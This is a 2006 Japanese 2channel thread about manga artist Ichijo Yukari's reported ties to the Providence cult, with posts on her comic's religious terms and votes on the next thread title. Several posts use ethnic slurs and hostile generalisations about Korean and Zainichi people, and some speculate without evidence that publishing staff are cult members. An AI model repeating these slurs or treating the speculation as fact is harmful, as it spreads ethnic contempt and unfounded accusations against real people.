悪気はないけどちょっぴり図々しい性格のせいで
色々な騒動を引き起こしてくようなドタバタラブコメ。


コメディなので、洗脳や押し付けがましい宗教観みたいのは
読んでる時は私は全く感じなかった。

2ちゃんのスレでは、キリスト教に詳しい人が
「神父と牧師の区別がおかしい」「ちゃんとキリスト教に取材を
して描いたとは思えない」「まぁミーハーな御大だから仕方ないよ」
などとつっこんでたのはなんとなく記憶にある。



840 :花と名無しさん:2006/08/05(土) 01:20:57 ID:???0

> ほんとに苦しいのは被害に遭った人たちのはずで、
> その方たちに言及する言葉が一言も無いのがどうもな…。

加害者意識が全くないんでしょう。

それにしても頭悪すぎるコメントだ・・・編集も少しは校正してやれよ・・・
と思ったけど、編集も摂理ゆえにコメントと同意見だったりしてな・・・



841 :花と名無しさん:2006/08/05(土) 01:22:11 ID:???0
>>835
昔、統一教会と知らずに参加してたサークルぽいとこに
連れて行かれた先の会場で、今は亡きセイントフォーというアイドルが
いたもんな。

842 :花と名無しさん:2006/08/05(土) 01:24:29 ID:???0
>>817
教義

●天ツラの4巻のシスターとの会話
 「三大祝福ですよね。生めよ、ふえよ、地を従わせよ」

三大祝福 →(統一協会&摂理用語)
http://www.google.com/search?num=100&hl=ja&q=%E4%B8%89%E5%A4%A7%E7%A5%9D%E7%A6%8F&lr=


見つけた人は、摂理や統一協会の信者なんじゃなくて
「三大祝福」って聞いたことない言葉だな?と思いつつググって
見つけてしまったらしい。



843 :花と名無しさん:2006/08/05(土) 01:24:34 ID:???0

【御大も連載も】一条ゆかり30【風前の灯火】
【プライド迷走】一条ゆかり30【御大遁走】
【プライド】一条ゆかり30【崖っぷち】
【広告塔】プライド一条ゆかり30【雲隠れ】
【信者確定】プライド一条ゆかり30【是正勧告】


進むの早ーい。
明日、起きたら次スレになってそうなのでスレタイ考えたの出しとくよ。
韓国、韓国うるさいので勧告入れてみた。
引退勧告でも自粛勧告でもいいよ。
んじゃ、もう寝る。

844 :花と名無しさん:2006/08/05(土) 01:24:56 ID:???0
絶版になるにせよ、一条さん本人が
「決して意図したものでないにせよ、自分の作品がカルト教団の宣伝として使われる結果になった可能性があるのは申し訳なく思います。
 この作品の封印も考えています」
ぐらい言うんならいいんだけど。

845 :花と名無しさん:2006/08/05(土) 01:25:39 ID:???0
編集者にも摂理がいるんだろうね。
編集者が韓国大好きで、一条も影響を受けたというから。
(あと一条の姪も韓国好き)

846 :花と名無しさん:2006/08/05(土) 01:25:41 ID:???0
心配かけてすいません。って…
ほとんどの人が一条を心配してるんじゃなくて怒ってんだつうの。
どこまで馬鹿なんだか

847 :花と名無しさん:2006/08/05(土) 01:25:43 ID:???0
>>843
【御大も連載も】一条ゆかり30【風前の灯火】
【プライド迷走】一条ゆかり30【御大遁走】
のどっちかがいいとオモ。


848 :花と名無しさん:2006/08/05(土) 01:26:31 ID:???0
>>939
カトリックが神父で、プロテスタントが牧師。
結婚式のバージンロードもカトリックは赤で
プロテスタントは白。
取材しなくても常識だと思ってた。

849 :花と名無しさん:2006/08/05(土) 01:26:32 ID:???0
>>838
それとともに「自分はいろんな業種の友達いるから」みたいな
自己顕示欲もある気がしてならない。
御大エッセイですぐ友人の職業書くし。

850 :あぼーん:あぼーん
あぼーん

851 :花と名無しさん:2006/08/05(土) 01:27:59 ID:???0
従来からのスレ住人のみなさん乙です.
スレタイの件、わたしも書こうと思ってました。

あと、従来からのテンプレのうち、作品リストは、
懐かし漫画の方の方がテンプレとして使ってくれているので、
そちらを参照していただくことにしてはどうでしょうか?

こちらから懐かし漫画のスレにリンク貼っておくということで。



852 :花と名無しさん:2006/08/05(土) 01:28:50 ID:???0
一条 やばいかもねぇ


853 :花と名無しさん:2006/08/05(土) 01:29:24 ID:???0
>>847
下が韻踏んでていいとオモタw

854 :花と名無しさん:2006/08/05(土) 01:29:31 ID:???0
>>843
全部良いなあ。うまいねセンスあるよ
4つめの。広告塔雲隠れ、のもいいな

855 :花と名無しさん:2006/08/05(土) 01:29:50 ID:???0
>>851
うざい。
私も従来からいるスレ住民だってのヽ(`Д´)ノ

856 :花と名無しさん:2006/08/05(土) 01:31:14 ID:???0
>>843
全部イイ。

広告塔 雲隠れ

がいいかな。

857 :花と名無しさん:2006/08/05(土) 01:32:22 ID:???0
>844
絶版決定→転売ヤーが買いあさって品切れ続出
→「ファンが応援してくれる」→完全版刊行→死ぬまで叩かれる
という最悪の事態を想像してしまった

858 :花と名無しさん:2006/08/05(土) 01:32:57 ID:???0
>>843
どれも面白いW
プライド崖っぷちに一票。

859 :花と名無しさん:2006/08/05(土) 01:33:28 ID:???0
>>839
敬虔なクリスチャンだけど
キスもしていなかった婚約者同然の幼馴染の浮気現場に遭遇して、
ついでにその日に転んでケガした上に泥棒にあって全財産を失い、
もう神様なんか信じるもんか自分を変えてやる!と
生活のために10万で処女を捨てる一大決心をするけど、
マジメで天然なところは変わらず(ついでに根はクリスチャンな部分も捨てられず)
周りに騒動を引き起こしていくドタバタラブコメ。

が抜けてる。
漫画自体は一条の主観が入ってるからまっったく宗教観のかの字ないと私も思うけど、
摂理の教義を知ってる人間は利用したくなる(できる)かもなー。

860 :花と名無しさん:2006/08/05(土) 01:36:04 ID:???0
どれもいいね。
【広告塔】プライド一条ゆかり30【雲隠れ】に一票。

あの国の法則が一条にふりかかってくるとはなぁ……残念でならん。
少女漫画家はもっと気をつけてくれよ……

861 :花と名無しさん:2006/08/05(土) 01:41:05 ID:???0
男が右翼のような力を行使したい側に憧れるのはなんとなく分かる。
でも、女が韓国嫌いって本当に同性?って思う。

862 :花と名無しさん:2006/08/05(土) 01:43:03 ID:???0
>>861
ごめん、煽りじゃなくどういう意味?

863 :花と名無しさん:2006/08/05(土) 01:45:21 ID:???0
>>861は釣りだから

864 :花と名無しさん:2006/08/05(土) 01:45:58 ID:???0
>>861
日本語でok

あ、無理か。すまんかった。

865 :花と名無しさん:2006/08/05(土) 01:46:22 ID:???0
在日女は同じ在日女か帰化女としか付き合わないから無理もないね。

866 :花と名無しさん:2006/08/05(土) 01:47:45 ID:???0
>>861
摂理の在日女性信者乙w

867 :花と名無しさん:2006/08/05(土) 01:48:57 ID:???0
>>861
うわ・・・真性キモッ

868 :花と名無しさん:2006/08/05(土) 01:50:28 ID:???0
>>861
日本語で話してくれw意味がわかんない

869 :花と名無しさん:2006/08/05(土) 01:51:55 ID:???0
普通の読者がツラノカワを読んでも
カルト洗脳漫画には全然感じないよね。
ただ、既出の「三大祝福」のような
純粋なキリスト教用語ではない、韓国系カルト用語や思想が
漫画の中に気がつかないうちに入ってて
わかる人にはわかるようになってたんだな…。

私はツラノカワの連載中は大ファンで
2ちゃんの一条ゆかりスレもよく見てたんだけど
2ちゃんでは、今連載中で大人気のプライドに比べると
ツラノカワの2ちゃんでの人気はいまいちだったね。




870 :花と名無しさん:2006/08/05(土) 01:52:12 ID:???0
韓国の味方をするのは在日女と帰化女、男ではキモヲタ

それだけですよ、チョン子ちゃん。

871 :花と名無しさん:2006/08/05(土) 01:52:55 ID:???0
>>862-868
おまいらw 釣られ杉
釣りはスレ流ししたいだけなんだから
つっこむのは一人くらいにしとけw

872 :花と名無しさん:2006/08/05(土) 01:54:19 ID:FIoRVIxV0
コーラスの一条コメントに、「肩こりを治すために気功教室に…」ってあるけど、
あれって何回か取り上げられた「十字式」だよね?
ってことは、十字式は完全にクロってことでFA?
ttp://www.wolfguy.com/cgi-bin/diary/upboard.cgi?action=next&next=156
ttp://www.wolfguy.com/cgi-bin/diary/upboard.cgi?action=next&next=157

873 :花と名無しさん:2006/08/05(土) 01:54:26 ID:???0
>>870
あと洗脳日本人と、アンテナがさびついた人
も入れて。

御大もアンテナがさびついてしまったんだな。
50代後半だから仕方ないとはいっても
悲しいな。

874 :花と名無しさん:2006/08/05(土) 01:55:05 ID:???0
「三大祝福」、そういえば聞いたことないわ
これでもミッソン系ですが。

875 :花と名無しさん:2006/08/05(土) 01:55:38 ID:???0
釣られすぎ突っ込みすぎでちょっとなごんだ

876 :花と名無しさん:2006/08/05(土) 02:01:10 ID:???0
かつて御大を派手に広告塔に使ってたくせに、
今となってはやっぱり隠れ信者にしておくほうが得だと計算したのか、摂理。

877 :花と名無しさん:2006/08/05(土) 02:02:08 ID:???0
>874
「産めよ 増やせよ 〜」ってモーセだっけ?

878 :花と名無しさん:2006/08/05(土) 02:03:04 ID:???0
スレの進みが早いから、新スレ立てるの「950」踏んだ人ぐらい?

879 :花と名無しさん:2006/08/05(土) 02:04:22 ID:???0
>>878
だね。そうだね。

880 :花と名無しさん:2006/08/05(土) 02:05:32 ID:???0
そうだね。
スレたてられなかったら報告を。

881 :花と名無しさん:2006/08/05(土) 02:06:40 ID:???0
>>877
残念ながら授業で扱ったのはキリストが生まれてからのがほとんどだったので。
それよく聞くけど、モーゼなのか

882 :花と名無しさん:2006/08/05(土) 02:11:10 ID:???0
うめよふやせよってちにみちよじゃなかったっけ?
したがわせんの?

883 :花と名無しさん:2006/08/05(土) 02:15:04 ID:???0
いずれにせよ、朝鮮カルトの三大祝福なんつーエロ教義にむりくり流用されるとは迷惑なことだな。



884 :花と名無しさん:2006/08/05(土) 02:16:27 ID:???0
Wikiに載ってる、モーゼの十戒↓
産めよ、増やせよってのは見当たらないけど???
ttp://ja.wikipedia.org/wiki/%E3%83%A2%E3%83%BC%E3%82%BB%E3%81%AE%E5%8D%81%E6%88%92

885 :花と名無しさん:2006/08/05(土) 02:21:33 ID:???0
雲隠れ はどうかなぁ・・
TV局の訪ねた吉祥寺の一軒家じゃなくて
六本木(麻布?のマンションにいるだけだと思う
別邸があるのって誰も知らないの?

今のスレタイが出来がいいだけに>>843はちょっと品がない

886 :花と名無しさん:2006/08/05(土) 02:23:45 ID:???0
>>877>>881
旧約聖書の言葉だけど、モーゼではないよ。
摂理や統一教会などの朝鮮カルトは何もかもゆがめて捏造解釈してるけど。

887 :花と名無しさん:2006/08/05(土) 02:26:35 ID:???0
勝手に騒いでおいて釈明しろってのも嫌だろうなとは思う

888 :花と名無しさん:2006/08/05(土) 02:27:32 ID:???0
夜釣りとは風流ですなー

889 :花と名無しさん:2006/08/05(土) 02:28:45 ID:???0
十戒なら覚えてるけど十戒じゃないよね。

創世記?

890 :花と名無しさん:2006/08/05(土) 02:30:18 ID:???0
【御大祝福】プライド一条ゆかり30【エロ教義】
【プライド勉強会】一条ゆかり30【実は摂理スレ】

うーんむずかしい

891 :花と名無しさん:2006/08/05(土) 02:31:35 ID:???0
>>869
天ツラ面白かったのにね。
好きだったんだが。プライドよりも。


892 :花と名無しさん:2006/08/05(土) 02:34:34 ID:???0
>>890
どっちも面白い。
品もいいけどエグイ事件の関係者なんだから、少々煽り的タイトルでも
いいとおもう。

893 :花と名無しさん:2006/08/05(土) 02:36:17 ID:???0
>>891
うんうん。
御大のドロドロや悲劇は人気が高いけど
私は、コメディのほうが好きだから
プライドより天ツラのほうが好きだったの。

ただ「正しい恋愛のススメ」でコミックスを買って
ラストのほうでガクーッとなったので
天ツラも、最終回まで見届けてから
コミックス全巻を一気に買おう(・∀・)!と思ったら
最終回近くがズコーッとなったので
結局コミックスは買わなかった。

読んでる最中は本当に全く
「これは宗教漫画で洗脳しようとしてる!気持ち悪い!」
みたいには思わなかったなぁ。
そんなことは全然考えずにギャグとして楽しんで読んでた。
でも三大祝福みたいな、正当なキリスト教では使わない言葉が
入ってたっていうのがね…('A`) 

894 :893:2006/08/05(土) 02:37:26 ID:???0
×天ツラも、最終回まで見届けてから

○天ツラは、最終回まで見届けてから

895 :花と名無しさん:2006/08/05(土) 02:37:28 ID:???0
プライド、今までで一番つまらん気がする。
やる気もパワーも枯渇してるんだから
いったん打ち切りにして、反省期間設けたらいいのにね

896 :花と名無しさん:2006/08/05(土) 02:39:44 ID:???0
砂の城が一番すきだ…って古〜

897 :花と名無しさん:2006/08/05(土) 02:41:03 ID:???0
摂理の広告塔スレは別にあるんだし
一応プライド読者スレなんだからスレタイに「プライド」は入れてほしい

898 :花と名無しさん:2006/08/05(土) 02:43:43 ID:???0
【御大も連載も】一条ゆかり30【風前の灯火】 ○
【プライド迷走】一条ゆかり30【御大遁走】  ○○
【プライド】一条ゆかり30【崖っぷち】     ○
【広告塔】プライド一条ゆかり30【雲隠れ】   ○○
【信者確定】プライド一条ゆかり30【是正勧告】
【御大祝福】プライド一条ゆかり30【エロ教義】
【プライド勉強会】一条ゆかり30【実は摂理スレ】

で、どうよ?

899 :花と名無しさん:2006/08/05(土) 02:43:59 ID:???0
>>897
そだね。タイトルにはプライドはいるね。

【広告塔】プライド一条ゆかり30【雲隠れ】

に一票!


900 :花と名無しさん:2006/08/05(土) 02:44:12 ID:???0
もうここはすでに、プライド読者専用スレじゃなくなっちゃってるしなー


901 :花と名無しさん:2006/08/05(土) 02:46:13 ID:???0
どれもこれも使いたい!w


902 :花と名無しさん:2006/08/05(土) 02:49:47 ID:???0
正式コメントが出た以上雲隠れは妥当ではないような。
コメントコピペするんならいきなりタイトルとテンプレが矛盾しちゃうよ。
崖っぷちに一票。

903 :花と名無しさん:2006/08/05(土) 02:50:16 ID:???0
うーん、確かに摂理の教義はエロ教義だし>>890は面白いwけど、
スレタイにエロの文字入れると変なのが迷い込んでくる確率をあげちゃうかもよ…

↓このあたりがいいのでは。
【プライド迷走】一条ゆかり30【御大遁走】
【広告塔】プライド一条ゆかり30【雲隠れ】
【プライド勉強会】一条ゆかり30【実は摂理スレ】

904 :花と名無しさん:2006/08/05(土) 02:51:25 ID:???0
>886>889
創世記だね。すまん。

905 :花と名無しさん:2006/08/05(土) 02:52:47 ID:???0
【プライド迷走】一条ゆかり30【御大遁走】 ノシ

906 :花と名無しさん:2006/08/05(土) 02:54:00 ID:???0
誰かインパクトあって同意できるようなタイトル考えて

907 :花と名無しさん:2006/08/05(土) 02:54:03 ID:???0
そうだね、エロが入っちゃうと
ちょっと来なくていいのも来そうだね。
『プライド勉強会』もいいな

908 :花と名無しさん:2006/08/05(土) 02:54:32 ID:???0
砂の城、読んだことあるけど
小学生の頃だったんでどんな話だったか記憶にない…。
漫画喫茶とかにあったら読み返してみたいなぁ。

有閑倶楽部は中学生以上になって読んだし、大好きだ。
クラスでコミックスもまわし読みした。

プライドは、登場人物が好きじゃなくて読むのが辛い。
もっと萌が凄みのある美人で
魅力のある悪役だったら面白いのに…。

909 :花と名無しさん:2006/08/05(土) 02:54:57 ID:???0
これがいいよシンプルで
【プライド】一条ゆかり30【崖っぷち】

910 :花と名無しさん:2006/08/05(土) 02:55:34 ID:???0
なかなか全部インパクトあって、良い感じだから迷うよね

911 :花と名無しさん:2006/08/05(土) 02:56:02 ID:???0
【遅すぎた】プライド一条ゆかり30【御大コメント】

912 :花と名無しさん:2006/08/05(土) 02:58:01 ID:???0
>>911
【手遅れか】プライド一条ゆかり30【名誉挽回】


913 :花と名無しさん:2006/08/05(土) 02:58:34 ID:???0
摂理広告塔を断罪する(オオゲサか)のを匂わせるスレタイは
必要だと思うよ

914 :花と名無しさん:2006/08/05(土) 03:02:10 ID:???0
950のスレたて人に、重圧が…w

915 :花と名無しさん:2006/08/05(土) 03:02:36 ID:???0
>>908
砂の城は、文庫化もされてるので漫喫にたぶんあると思われ。

―超簡単なアラスジ―
フランスを舞台にした裕福な家に生まれた主人公・女性の一生。
両親が事故に遭ったり、彼女が生まれた日に拾われた少年と恋仲になり
親戚の大反対にあって家出する→追い詰められて恋仲になった少年と
心中しようとしても失敗する→せっかく生き残っても少年とは別れ別れになったり
(彼は死んだと思い込む)…いろいろ不幸な目に遭う。
一条が1番苦手とするウジウジしたキャラクターと本人が暴露しているが、
名作ではある。

916 :花と名無しさん:2006/08/05(土) 03:04:44 ID:???0
>>914
もう誰か立てれそうな人が予告すればいいじゃん、950近辺ならば。

917 :花と名無しさん:2006/08/05(土) 03:06:53 ID:???0
【せつり】プライド一条ゆかり30【ゆかり】
【新潮暴走】プライド一条ゆかり30【連載暗礁】

918 :花と名無しさん:2006/08/05(土) 03:07:55 ID:???0
【御大も連載も】一条ゆかり30【風前の灯火】 ○
【プライド迷走】一条ゆかり30【御大遁走】  ○○ ○
【プライド】一条ゆかり30【崖っぷち】     ○ ○○
【広告塔】プライド一条ゆかり30【雲隠れ】   ○○ ○
【信者確定】プライド一条ゆかり30【是正勧告】
エロは外したよ
【プライド勉強会】一条ゆかり30【実は摂理スレ】 ○
【遅すぎた】プライド一条ゆかり30【御大コメント】
【手遅れか】プライド一条ゆかり30【名誉挽回】

919 :花と名無しさん:2006/08/05(土) 03:08:24 ID:???0
砂の城は名作だった。一条さん大好きだった。
犯罪カルト教団のことで彼女を叩く日がくるとはね…

920 :花と名無しさん:2006/08/05(土) 03:11:53 ID:???0
>>915
ありがとう。あなたはいいひとだ。

921 :花と名無しさん:2006/08/05(土) 03:17:29 ID:???0
デザイナーのあらすじお願いします。
亜美のモデルは一条サン自身って本当??

922 :花と名無しさん:2006/08/05(土) 03:19:25 ID:???0
若いもんが感情に任せて彼女を叩くのはいかがなものか

923 :花と名無しさん:2006/08/05(土) 03:20:02 ID:???0
【プライド迷走】一条ゆかり30【御大遁走】


924 :花と名無しさん:2006/08/05(土) 03:20:58 ID:???0
>>921
自分で読みなさいよw
一条に印税も入るしさ

925 :花と名無しさん:2006/08/05(土) 03:24:56 ID:???0
【プライド迷走】一条ゆかり30【御大遁走】 でいいんじゃないの?
摂理とか広告塔とか入れると、また他所から変なのが来そう。
入れなくても、それなりに来そうだけど、
今回の騒動で初めて立ったスレってわけじゃないんだし。

926 :花と名無しさん:2006/08/05(土) 03:28:07 ID:???0
今はスレタイに摂理がらみの単語が、入らないほうが
変な感じがする。過渡期だもの

927 :花と名無しさん:2006/08/05(土) 03:37:28 ID:???0
>>893
>「これは宗教漫画で洗脳しようとしてる!気持ち悪い!」
>みたいには思わなかったなぁ。

思うのは洗脳じゃないだろ
思わないからこそ洗脳だろ
まあ、影響受けてなきゃ洗脳じゃないし
教育だが何だろうが現代の一般倫理、常識から外れてるのは洗脳だけど

928 :花と名無しさん:2006/08/05(土) 03:47:24 ID:???0
>>921
マロンにある「ストーリーを教えてもらうスレ」にでも行け。
ちなみにまだまとめサイトにはなかった。

929 :花と名無しさん:2006/08/05(土) 03:50:25 ID:???0
≪関連スレッド≫
↓のスレッドが埋まって
摂理の広告塔について語るスレ
http://comic6.2ch.net/test/read.cgi/gcomic/1154192041/  旧

↓↓↓こっちのスレが次になった模様。
摂理の広告塔少女漫画家
http://comic6.2ch.net/test/read.cgi/gcomic/1154249329/  新

930 :花と名無しさん:2006/08/05(土) 03:53:53 ID:???0
【広告塔の】プライド一条ゆかり30【ツラノカワ】  

で、どうよ?

931 :花と名無しさん:2006/08/05(土) 03:57:13 ID:???0
テンプレ作ってみましたので、立てられそうな人よろしくお願いします。

 【スレタイ】
1966年高校1年で若木書房から単行本デビュー、1968年りぼん(集英社)から雑誌デビュー。
コーラス(公式 ttp://chorus.shueisha.co.jp/ 28日発売)看板作家となって早や12年、
絵はヘタレたアレたと言われても華があり、女王の底力で怒濤の展開を交えつつ、
連載4年目の「プライド」は無事に最終回まで行けるのか!?
カルト教団「摂理」広告塔疑惑に答えたコメントの波紋は!?
一条ゆかり御大ワールドをマターリと語り合いましょう。

■前スレはこちら↓ 過去スレは>>2-7あたり 
 【プライド消滅】一条ゆかり29【自然の摂理】
  http://comic6.2ch.net/test/read.cgi/gcomic/1154512660/ 06/08/02ー08/05
■単行本作品リストはこちら↓ 
  《一条ゆかり》の懐かし漫画・その2 http://comic6.2ch.net/test/read.cgi/rcomic/1154523031/3-9 
■摂理関連まとめ 1-14(1996年から2006年7月末まで、時間軸に沿ったもの)
  前スレ http://comic6.2ch.net/test/read.cgi/gcomic/1154512660/13-26
■摂理の広告塔少女漫画家
   http://comic6.2ch.net/test/read.cgi/gcomic/1154249329/ 06/07/30ー

■2006年 8月3日(木)発売 週刊新潮8月10日号 「少女漫画の女王」一条ゆかりは「現役信者」!
     ttp://book.shinchosha.co.jp/shukanshincho/index.html (画像つき)
 前スレ http://comic6.2ch.net/test/read.cgi/gcomic/1154512660/179-183
     http://comic6.2ch.net/test/read.cgi/gcomic/1154512660/416-417
■20006年 8月4日(金曜)深夜発信 コーラス公式サイト◆ 一条ゆかり先生から読者の皆様へ ◆
     ttp://chorus.shueisha.co.jp/special/index.html
 前スレ http://comic6.2ch.net/test/read.cgi/gcomic/1154512660/784-790
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以上が【1】。【2】〜【7】あたりには現行スレからのコピぺに最新の前スレを追加して、
できたら【7】〜【10】あたりには 784 788 790 をコピぺお願いします。
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932 :花と名無しさん:2006/08/05(土) 03:58:05 ID:???0
>>930
> 【広告塔の】プライド一条ゆかり30【ツラノカワ】  

あーいいねw

933 :花と名無しさん:2006/08/05(土) 04:01:17 ID:???0
>>921
このタイミングじゃなければゆっくり答えたいけど
今現在は次スレの心配してるという空気も読んでくれ。
とりあえずは懐漫板のスレで聞いたら教えてもらえると思うよ。
即答じゃないかも知れないけど。

934 :花と名無しさん:2006/08/05(土) 04:04:03 ID:???0
宗教に絡めた話を作ろうと思ったら、それなりに慎重にすべきだったんだよ。
昔から初対面の相手には政治と宗教の話はするなって言われてるくらいにデリケートなもんなんだから。


姪っ子がしNY在住してたよね?
第1話とか見せておかしくないか?とか聞かなかったんだろうか?

935 :花と名無しさん:2006/08/05(土) 04:07:53 ID:???0
デザイナーを読みつつ、その昼ドラ化を見つつ
テレビ実況に参加するのが楽しかったらしい。実況でウホッキターと言われてたなw


936 :花と名無しさん:2006/08/05(土) 04:14:12 ID:???0
【広告塔の】プライド一条ゆかり30【ツラノカワ】  
【御大の】プライド一条ゆかり30【ツラノカワ】
【女王の】プライド一条ゆかり30【ツラノカワ】

でなければ【プライド迷走】一条ゆかり30【御大遁走】

摂理という言葉は今のスレで使ってるからもういいよ。
【ツラノカワ】 は、このスレ的に合いそうな気がする。

937 :花と名無しさん:2006/08/05(土) 05:00:54 ID:???0
【御大迷走】プライド一条ゆかり30【崖っぷち】

摂理関連スレは別にあるんだし、これくらいでいいんじゃない?
変な時間に目が覚めて、ここ読むのに1時間かかったorz

938 :花と名無しさん:2006/08/05(土) 05:21:03 ID:???0
スレタイいいのが多いと決めづらいw


939 :花と名無しさん:2006/08/05(土) 05:32:05 ID:???0
有名大学に潜伏するカルト教団の勧誘に引っかかった人達に
漫画の編集者もいそう。
大手出版社の社員は、とうぜん有名大学出身でしょ。
もしかしたら編集部の中に、摂理信者がいる可能性だってある。



940 :花と名無しさん:2006/08/05(土) 05:58:53 ID:???0
>>927
天ツラ読んだことないでしょ
御大本人ですら洗脳するつもりで書いてない漫画だよあれは
むしろあの漫画から見えてくる宗教観なんて、
御大は宗教なんてストーリーを面白くするための
味付け程度にしか考えてないとしか思ってないんだなと思うくらい
ただ、マズいのはそこに摂理独自の教えが混じってたことだね
御大もアホだからキリスト教なんてどの宗派でも似たり寄ったりという
程度にしか考えてなかったんだろうね
だからこそ知り合いのコネで済まそうと、
摂理なんかに取材にいって引っかかったんでしょ

941 :花と名無しさん:2006/08/05(土) 06:02:23 ID:???0
485 名前: 番組の途中ですが名無しです 投稿日: 2006/08/05(土) 05:36:42 ID:UqhZ/8Rq0 ?BRZ(1017)
これがホントの
強姦倶楽部

942 :花と名無しさん:2006/08/05(土) 06:30:39 ID:???O
ゆかりも被害者の一人だったのか。

943 :花と名無しさん:2006/08/05(土) 06:35:01 ID:???0
想像どおりの内容だったなぁ
大学に対する憧れなどもあったから舞い上がったんだろうなぁと思ってた

だけどいい年した大人なのにやっぱ、甘いよ

944 :花と名無しさん:2006/08/05(土) 06:39:06 ID:???0
統一教会とかエホバとかについては良く知っておいた方がいいね

945 :花と名無しさん :2006/08/05(土) 07:13:55 ID:???0
作品で洗脳?
そんなこと考えるのは、ほんまもんの
馬鹿だけ。
そういう馬鹿漫画家も実在するけど。



946 :花と名無しさん:2006/08/05(土) 07:32:47 ID:???0
でも判断能力のない幼い読者は信じちゃうと思うよ。
まだ世間を知らないわけだから、三大祝福云々いわれたら「そうなんだ〜」ってすり込まれちゃうと思う。
洗脳とまではいかなくても、なんらかの影響は確実に受けるはず。

自分が小中学生だった頃、砂の城や有閑倶楽部を読んだ時のことを思い出してみてよ。
当時漫画で読んだことって、すごく記憶に残ってると思わない?影響受けた人も多いはず。
だからこそ少女漫画家のような表現者にはしっかりとしてもらいたいんだよね。
一条・・・

947 :花と名無しさん:2006/08/05(土) 07:33:47 ID:???0
【プライド迷走】一条ゆかり30【御大遁走】にイピョーウ

948 :花と名無しさん:2006/08/05(土) 07:47:17 ID:???0
殺人をしてはいけないこと
姦淫をしてはいけないこと
盗んではいけないこと
偽証してはいけないこと
隣人の家をむさぼってはいけないこと


まったく守られていない。
キリスト教名乗るなよ。

949 :名無しんぼ@お腹いっぱい:2006/08/05(土) 07:48:18 ID:???0
最近の少女漫画by少コミ
http://www3.ezbbs.net/15/kensyou/img/1135996495_1.jpg
http://www3.ezbbs.net/15/kensyou/img/1136268871_1.jpg

http://www3.ezbbs.net/15/kensyou/img/1136174672_1.jpg
http://www3.ezbbs.net/15/kensyou/img/1136175046_1.jpg
http://www3.ezbbs.net/15/kensyou/img/1136174531_1.jpg
http://www3.ezbbs.net/15/kensyou/img/1136174238_1.jpg
http://www3.ezbbs.net/15/kensyou/img/1136174359_1.jpg

950 :花と名無しさん:2006/08/05(土) 07:50:58 ID:???0
タバコ吸って、酒飲んで信者の学生たちに嫌がられていたというあたりが一条ゆかりらしさが出てるね
よく一条を広告塔に使おうと思ったよねぇ・・・。
私だったら一条ゆかりが入っている宗教って、もしかして「フリーセックス教」か?と思いそう
本来の意味じゃなくて、可憐が叫んでたほうのフリーセックス(笑)

951 :花と名無しさん:2006/08/05(土) 07:51:03 ID:???0
>946
天ツラはりぼんにのっていたわけではないので、幼い読者というのは違和感

952 :花と名無しさん :2006/08/05(土) 07:56:59 ID:???0
>946
そうだね、この人は一応少女漫画家だった。W
子供には影響あるかも。
でも自分が知っている元カルトの人は
作品の内容で信じたわけじゃないんだよね。
あくまでもその作者が信じてる宗教だから
おかしなところじゃないって
思っていたと。



953 :花と名無しさん:2006/08/05(土) 07:59:42 ID:???0
>951
コミックスになったら誰でも簡単に手に入るでしょ。
それに判断力のない人は年齢を問わずに全員幼い読者に入るかと。

>950踏んだ方スレ立てヨロ

954 :花と名無しさん:2006/08/05(土) 08:04:41 ID:???0
>>936
【広告塔の】プライド一条ゆかり30【ツラノカワ】

に一票ー。

摂理に全く関係ないスレタイにしたがってる人はなんなの?

955 :花と名無しさん:2006/08/05(土) 08:07:37 ID:???0
>>939
いるだろうねぇ。
元富士通の社員のうちのエリートが摂理になってたんだし
一流大卒の大手出版社の編集者に摂理もいるだろう。

集英社女性向雑誌部門(漫画誌、ファッション誌)は
特に媚韓が強いし…。

あの一条コメントは集英社コーラスのオフィシャルサイトから
出されたものだから、編集者もチェックしているものでしょう。
それで、被害者への謝罪や思いやりもないあのコメントを
載せさせるんだから。

956 :名無しんぼ@お腹いっぱい:2006/08/05(土) 08:18:43 ID:???0
一流出版社は毎年10数名の採用だよ
集英社で20名程度じゃないか?漫画の編集は数名しか採らない。
「学生洗脳→編集部へ」というのは人数的に可能性は低いと思う。
富士通は一流大卒を毎年数千人採用してるし・・
毎年数十万人採用の公務員のほうが危険じゃないか?
学校の先生や警察官のほうが汚染されてる可能性は高いよ

957 :花と名無しさん:2006/08/05(土) 08:25:11 ID:???O
連続投稿規制
テンプレの続き誰かよろしくね


ところで過去スレは要らないんでは

958 :花と名無しさん:2006/08/05(土) 08:30:06 ID:???0
北の国モドキも日本のマスコミ操作の研究を積んでいるしな。
南のカルトがマスコミをターゲットにして集英社に何人か送り込んでいても何らおかしくはない。
摂理の他にも韓国カルトは枚挙にいとまがないしね。

ニュースで90年代前半〜半ばに撮影されたという
教祖を囲んだ信者学生のスポーツやら舞台やらのビデオを見た。異常だった。
あの信者達も今頃は社会人として企業に潜り込んでいるんだな・・・。

959 :花と名無しさん :2006/08/05(土) 08:30:50 ID:???0
作家洗脳→編集巻き込み
ってケースはあったよ。

960 :花と名無しさん:2006/08/05(土) 08:38:14 ID:???0
摂理に限定せず韓国カルト信者というならいそうだけどね
北の工作員がいてもおかしくないし、和製カルトがいる可能性だってある。
CIAのスパイやフリーメイソンやアルカイダのメンバーもいるかもね

961 :花と名無しさん:2006/08/05(土) 08:41:26 ID:???0
作家が偉かったり大物な場合
洗脳された作家から編集者も巻き込まれる>>959が言うパターンは
ありそだね。

あと逆に、作家が権力が低い場合は
洗脳された編集者から作家も洗脳されるパターンもある。
最近のマスコミ関係(漫画雑誌編集者もマスコミです)は
韓国にどっぷりな人達が多いよ。
少女漫画家の愚痴スレで、編集者から韓国を好きになるように
強要されたり
韓国ネタを漫画に描くように指示された人の愚痴があった。
週刊少年マガジン読んでても
「担当編集者と漫画家の全員がパッチギ大好き」のような記述が。

韓国好きマスコミが広めたがる
「日本の女性は韓国人男性が大好き」みたいな思想は
モロ、韓国カルト、韓国系キリスト教の思想だ。

962 :花と名無しさん:2006/08/05(土) 08:56:32 ID:???0
タバコや酒やセクースが許されるのは幹部までだよね〜

自分で幹部待遇っていいたいだけちゃうん?

963 :花と名無しさん:2006/08/05(土) 08:59:39 ID:???0
広告塔として利用できそうな相手だと
厳しい戒律を守らなくても許されるからな。

964 :花と名無しさん:2006/08/05(土) 09:05:47 ID:???0
>>962信者?
なぜ幹部だけタバコや酒やセクースOKなのか理由がわからん

965 :花と名無しさん:2006/08/05(土) 09:44:32 ID:???0
>>964
カルトだと、信者には厳しい戒律を守らせて
トップは酒池肉林なんてことはよくある…。

もっともカルトじゃない宗教でも、生臭坊主みたいなのはいるが…。

966 :花と名無しさん:2006/08/05(土) 11:02:20 ID:???0
迷走遁走がイイ!

